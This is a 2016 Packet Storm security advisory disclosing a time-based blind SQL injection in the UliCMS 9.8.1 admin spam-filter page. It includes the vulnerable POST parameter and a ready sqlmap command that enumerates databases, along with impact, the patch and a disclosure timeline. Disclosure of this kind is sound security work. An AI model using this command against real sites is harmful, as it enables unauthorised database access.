UliCMS 9.8.1 SQL Injection

2016-02-04T00:00:00
ID PACKETSTORM:135585
Type packetstorm
Reporter Manuel Garcia Cardenas
Modified 2016-02-04T00:00:00

Description

                                        
                                            `=============================================  
MGC ALERT 2016-001  
- Original release date: January 26, 2016  
- Last revised: February 02, 2016  
- Discovered by: Manuel García Cárdenas  
- Severity: 7,1/10 (CVSS Base Score)  
=============================================  
  
I. VULNERABILITY  
-------------------------  
Time-based SQL Injection in Admin panel UliCMS <= v9.8.1  
  
II. BACKGROUND  
-------------------------  
UliCMS is a modern web content management solution from Germany, that  
attempts to make web content management more easier.  
  
III. DESCRIPTION  
-------------------------  
This bug was found using the portal with authentication as administrator.  
To exploit the vulnerability only is needed use the version 1.0 of the HTTP  
protocol to interact with the application.  
  
It is possible to inject SQL code in the variable "country_blacklist" on  
the page "action=spam_filter".  
  
IV. PROOF OF CONCEPT  
-------------------------  
The following URL's and parameters have been confirmed to all suffer from  
Time Based Blind SQL injection.  
  
/ulicms/admin/?action=spam_filter  
  
(POST)  
spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes  
  
POC using SQLMap:  
  
sqlmap -u "http://127.0.0.1/ulicms/admin/?action=spam_filter" --cookie="SET  
COOKIE HERE"  
--data="spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes"  
-p "country_blacklist" --dbms="mysql" --dbs  
  
V. BUSINESS IMPACT  
-------------------------  
Public defacement, confidential data leakage, and database server  
compromise can result from these attacks. Client systems can also be  
targeted, and complete compromise of these client systems is also possible.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
UliCMS <= v9.8.1  
  
VII. SOLUTION  
-------------------------  
Install vendor patch.  
  
VIII. REFERENCES  
-------------------------  
http://en.ulicms.de/  
  
IX. CREDITS  
-------------------------  
This vulnerability has been discovered and reported  
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).  
  
X. REVISION HISTORY  
-------------------------  
January 26, 2016 1: Initial release  
February 02, 2015 2: Revision to send to lists  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
January 26, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas  
January 26, 2016 2: Send to vendor  
January 28, 2016 3: Vendor fix vulnerability  
February 02, 2016 4: Send to the Full-Disclosure lists  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
  
XIII. ABOUT  
-------------------------  
Manuel Garcia Cardenas  
Pentester  
  
  
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